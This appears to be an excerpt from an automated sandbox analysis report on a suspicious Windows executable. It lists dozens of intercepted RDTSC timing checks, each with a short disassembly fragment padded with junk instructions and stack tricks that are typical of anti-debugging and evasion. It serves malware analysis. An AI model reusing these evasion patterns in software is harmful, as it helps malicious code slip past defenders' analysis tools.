Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B0FE16 second address: B0FE97 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 mov dword ptr [esp], eax 0x00000008 push 00000000h 0x0000000a push esi 0x0000000b call 00007F1B911A1E18h 0x00000010 pop esi 0x00000011 mov dword ptr [esp+04h], esi 0x00000015 add dword ptr [esp+04h], 00000017h 0x0000001d inc esi 0x0000001e push esi 0x0000001f ret 0x00000020 pop esi 0x00000021 ret 0x00000022 mov edi, dword ptr [ebp+122D2C8Bh] 0x00000028 push dword ptr fs:[00000000h] 0x0000002f push 00000000h 0x00000031 push ebx 0x00000032 call 00007F1B911A1E18h 0x00000037 pop ebx 0x00000038 mov dword ptr [esp+04h], ebx 0x0000003c add dword ptr [esp+04h], 00000016h 0x00000044 inc ebx 0x00000045 push ebx 0x00000046 ret 0x00000047 pop ebx 0x00000048 ret 0x00000049 xor bx, 6BDEh 0x0000004e mov dword ptr fs:[00000000h], esp 0x00000055 mov dword ptr [ebp+122D1CCBh], edx 0x0000005b mov eax, dword ptr [ebp+122D16F1h] 0x00000061 mov edi, dword ptr [ebp+122D2F63h] 0x00000067 push FFFFFFFFh 0x00000069 mov ebx, esi 0x0000006b nop 0x0000006c push eax 0x0000006d push edx 0x0000006e pushad 0x0000006f js 00007F1B911A1E16h 0x00000075 push edi 0x00000076 pop edi 0x00000077 popad 0x00000078 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B11D9E second address: B11DB0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F1B90BB190Dh 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B10E7C second address: B10E82 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B10E82 second address: B10E9C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1B90BB190Ah 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push ecx 0x0000000d jl 00007F1B90BB190Ch 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B10E9C second address: B10F44 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 nop 0x00000006 call 00007F1B911A1E1Dh 0x0000000b or dword ptr [ebp+122D1CDDh], eax 0x00000011 pop edi 0x00000012 je 00007F1B911A1E22h 0x00000018 jnc 00007F1B911A1E1Ch 0x0000001e push dword ptr fs:[00000000h] 0x00000025 push 00000000h 0x00000027 push ebx 0x00000028 call 00007F1B911A1E18h 0x0000002d pop ebx 0x0000002e mov dword ptr [esp+04h], ebx 0x00000032 add dword ptr [esp+04h], 00000018h 0x0000003a inc ebx 0x0000003b push ebx 0x0000003c ret 0x0000003d pop ebx 0x0000003e ret 0x0000003f mov dword ptr fs:[00000000h], esp 0x00000046 push 00000000h 0x00000048 push eax 0x00000049 call 00007F1B911A1E18h 0x0000004e pop eax 0x0000004f mov dword ptr [esp+04h], eax 0x00000053 add dword ptr [esp+04h], 00000014h 0x0000005b inc eax 0x0000005c push eax 0x0000005d ret 0x0000005e pop eax 0x0000005f ret 0x00000060 mov ebx, dword ptr [ebp+122D2D9Fh] 0x00000066 movsx ebx, ax 0x00000069 mov eax, dword ptr [ebp+122D0C3Dh] 0x0000006f mov ebx, dword ptr [ebp+122D22EEh] 0x00000075 push FFFFFFFFh 0x00000077 sub dword ptr [ebp+122DBB40h], edx 0x0000007d nop 0x0000007e jmp 00007F1B911A1E1Fh 0x00000083 push eax 0x00000084 pushad 0x00000085 pushad 0x00000086 push eax 0x00000087 push edx 0x00000088 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B15B85 second address: B15B89 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AB7632 second address: AB7636 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B1A4E5 second address: B1A511 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1B90BB190Fh 0x00000007 jmp 00007F1B90BB1915h 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push eax 0x0000000f push edx 0x00000010 pushad 0x00000011 popad 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B1A511 second address: B1A51F instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pop ebx 0x00000009 pushad 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B1A51F second address: B1A525 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B1A525 second address: B1A52B instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B1C29F second address: B1C2A5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B21527 second address: B2152C instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B26385 second address: B2638A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B2638A second address: B26390 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B26390 second address: B26396 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B26396 second address: B2639A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B25AF9 second address: B25AFD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B25AFD second address: B25B01 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B25DB9 second address: B25DD5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 push eax 0x00000006 push edx 0x00000007 jmp 00007F1B90BB1915h 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B25F29 second address: B25F43 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jl 00007F1B911A1E18h 0x0000000b pushad 0x0000000c popad 0x0000000d push eax 0x0000000e push edx 0x0000000f pushad 0x00000010 jnl 00007F1B911A1E16h 0x00000016 push eax 0x00000017 pop eax 0x00000018 push eax 0x00000019 push edx 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B25F43 second address: B25F51 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push esi 0x00000006 jo 00007F1B90BB1906h 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B25F51 second address: B25F56 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B260D6 second address: B26101 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jng 00007F1B90BB191Bh 0x0000000c push eax 0x0000000d push edx 0x0000000e jc 00007F1B90BB1906h 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B26101 second address: B26105 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B26105 second address: B26109 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B299DD second address: B299E3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B299E3 second address: B299EF instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 pop eax 0x0000000a pushad 0x0000000b popad 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B299EF second address: B29A0E instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edi 0x00000007 pushad 0x00000008 pushad 0x00000009 push esi 0x0000000a pop esi 0x0000000b push edx 0x0000000c pop edx 0x0000000d popad 0x0000000e push eax 0x0000000f push edx 0x00000010 jmp 00007F1B911A1E1Dh 0x00000015 pushad 0x00000016 popad 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AF36E8 second address: ADBB73 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1B90BB1919h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop esi 0x0000000a mov dword ptr [esp], eax 0x0000000d mov ecx, dword ptr [ebp+122D2D33h] 0x00000013 call dword ptr [ebp+122D2A73h] 0x00000019 push eax 0x0000001a push edx 0x0000001b push ebx 0x0000001c push edi 0x0000001d pop edi 0x0000001e pop ebx 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AF3AF4 second address: AF3AF9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AF3AF9 second address: AF3B03 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jo 00007F1B90BB1906h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AF3B03 second address: AF3B07 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AF3E2F second address: AF3E35 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AF3E9D second address: AF3EA1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AF3EA1 second address: AF3EC9 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jng 00007F1B90BB191Bh 0x0000000c jmp 00007F1B90BB1915h 0x00000011 popad 0x00000012 push eax 0x00000013 pushad 0x00000014 push eax 0x00000015 push edx 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AF3EC9 second address: AF3ECD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AF3ECD second address: AF3ED1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AF3ED1 second address: AF3EDA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AF42A5 second address: AF42AB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AF42AB second address: AF42CC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 push eax 0x00000007 push eax 0x00000008 push edx 0x00000009 jmp 00007F1B911A1E28h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AF42CC second address: AF4322 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1B90BB190Ah 0x00000007 pop edx 0x00000008 pop eax 0x00000009 nop 0x0000000a push 00000000h 0x0000000c push edx 0x0000000d call 00007F1B90BB1908h 0x00000012 pop edx 0x00000013 mov dword ptr [esp+04h], edx 0x00000017 add dword ptr [esp+04h], 0000001Bh 0x0000001f inc edx 0x00000020 push edx 0x00000021 ret 0x00000022 pop edx 0x00000023 ret 0x00000024 mov dword ptr [ebp+122D2AC2h], eax 0x0000002a jne 00007F1B90BB190Ch 0x00000030 push 00000004h 0x00000032 mov dword ptr [ebp+122D1D64h], esi 0x00000038 mov cx, CF2Dh 0x0000003c nop 0x0000003d push eax 0x0000003e push edx 0x0000003f push ecx 0x00000040 push eax 0x00000041 push edx 0x00000042 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AF4322 second address: AF4327 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AF4685 second address: AF4693 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1B90BB190Ah 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AF495B second address: AF4961 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AF4961 second address: AF4976 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov eax, dword ptr [esp+04h] 0x0000000c push eax 0x0000000d push eax 0x0000000e push edx 0x0000000f jnc 00007F1B90BB1906h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AF4976 second address: AF498A instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop eax 0x00000007 mov eax, dword ptr [eax] 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c jbe 00007F1B911A1E16h 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AF498A second address: AF498F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AF498F second address: AF49B1 instructions: 0x00000000 rdtsc 0x00000002 jnl 00007F1B911A1E24h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a mov dword ptr [esp+04h], eax 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 pushad 0x00000013 popad 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AF49B1 second address: AF49C2 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1B90BB190Dh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AF4A6F second address: AF4A79 instructions: 0x00000000 rdtsc 0x00000002 jnl 00007F1B911A1E16h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ADC78A second address: ADC7A0 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jmp 00007F1B90BB1910h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AA65A4 second address: AA65BF instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1B911A1E1Fh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a push edx 0x0000000b push edi 0x0000000c pop edi 0x0000000d pop edx 0x0000000e push edi 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AA65BF second address: AA65C7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 pushad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B29EB1 second address: B29EB7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B29EB7 second address: B29EBF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 push eax 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B2A15C second address: B2A184 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1B911A1E24h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c pushad 0x0000000d popad 0x0000000e jg 00007F1B911A1E16h 0x00000014 pushad 0x00000015 popad 0x00000016 pushad 0x00000017 popad 0x00000018 popad 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B2A184 second address: B2A18B instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 push esi 0x00000004 pop esi 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B2A2EB second address: B2A2F1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B2A2F1 second address: B2A30E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop esi 0x00000007 pushad 0x00000008 jmp 00007F1B90BB1912h 0x0000000d push esi 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B2A30E second address: B2A31D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 pop esi 0x00000007 push eax 0x00000008 push edx 0x00000009 jo 00007F1B911A1E16h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B2A5F9 second address: B2A5FD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B2A5FD second address: B2A615 instructions: 0x00000000 rdtsc 0x00000002 jg 00007F1B911A1E16h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a jp 00007F1B911A1E1Eh 0x00000010 push ebx 0x00000011 pop ebx 0x00000012 jc 00007F1B911A1E16h 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B2A615 second address: B2A61F instructions: 0x00000000 rdtsc 0x00000002 jc 00007F1B90BB1920h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B2A61F second address: B2A64A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F1B911A1E24h 0x00000009 jmp 00007F1B911A1E1Ch 0x0000000e pop edx 0x0000000f pop eax 0x00000010 push eax 0x00000011 push edx 0x00000012 pushad 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B2A64A second address: B2A660 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F1B90BB1910h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B2A660 second address: B2A665 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B2A7D5 second address: B2A7FF instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1B90BB1910h 0x00000007 jmp 00007F1B90BB1913h 0x0000000c pop edx 0x0000000d pop eax 0x0000000e pushad 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B2A7FF second address: B2A841 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F1B911A1E1Eh 0x00000009 popad 0x0000000a jne 00007F1B911A1E51h 0x00000010 push eax 0x00000011 push edx 0x00000012 jmp 00007F1B911A1E29h 0x00000017 jmp 00007F1B911A1E1Eh 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B2A841 second address: B2A845 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AB25C7 second address: AB25D2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 ja 00007F1B911A1E16h 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B2F44F second address: B2F46B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnp 00007F1B90BB1906h 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F1B90BB190Ah 0x00000011 jc 00007F1B90BB1906h 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B2F46B second address: B2F475 instructions: 0x00000000 rdtsc 0x00000002 je 00007F1B911A1E16h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B2F475 second address: B2F4B5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push edi 0x00000004 pop edi 0x00000005 jmp 00007F1B90BB1911h 0x0000000a jnp 00007F1B90BB1906h 0x00000010 popad 0x00000011 jne 00007F1B90BB1917h 0x00000017 pop edx 0x00000018 pop eax 0x00000019 push ebx 0x0000001a pushad 0x0000001b pushad 0x0000001c popad 0x0000001d push ebx 0x0000001e pop ebx 0x0000001f pushad 0x00000020 popad 0x00000021 push eax 0x00000022 push edx 0x00000023 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B2FA26 second address: B2FA5A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1B911A1E23h 0x00000007 jmp 00007F1B911A1E1Ch 0x0000000c pop edx 0x0000000d pop eax 0x0000000e pop esi 0x0000000f push edi 0x00000010 pushad 0x00000011 jns 00007F1B911A1E16h 0x00000017 jns 00007F1B911A1E16h 0x0000001d push eax 0x0000001e push edx 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B2F196 second address: B2F1B7 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jmp 00007F1B90BB1914h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pushad 0x0000000c pushad 0x0000000d popad 0x0000000e pushad 0x0000000f popad 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B33933 second address: B3395C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F1B911A1E28h 0x0000000b popad 0x0000000c pushad 0x0000000d pushad 0x0000000e jnc 00007F1B911A1E16h 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B3395C second address: B33962 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B33962 second address: B33991 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F1B911A1E1Ah 0x00000009 popad 0x0000000a jmp 00007F1B911A1E21h 0x0000000f jno 00007F1B911A1E1Ch 0x00000015 pushad 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B33991 second address: B33997 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AAEF5A second address: AAEF84 instructions: 0x00000000 rdtsc 0x00000002 jp 00007F1B911A1E22h 0x00000008 jmp 00007F1B911A1E1Ch 0x0000000d pop edx 0x0000000e pop eax 0x0000000f pushad 0x00000010 push eax 0x00000011 push edx 0x00000012 jmp 00007F1B911A1E1Fh 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AAEF84 second address: AAEF88 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AAEF88 second address: AAEF8C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AAEF8C second address: AAEFAD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 jmp 00007F1B90BB190Fh 0x0000000d push eax 0x0000000e push edx 0x0000000f jns 00007F1B90BB1906h 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AAEFAD second address: AAEFB1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B393F1 second address: B393F7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B393F7 second address: B39407 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c push edx 0x0000000d pop edx 0x0000000e push ecx 0x0000000f pop ecx 0x00000010 rdtsc
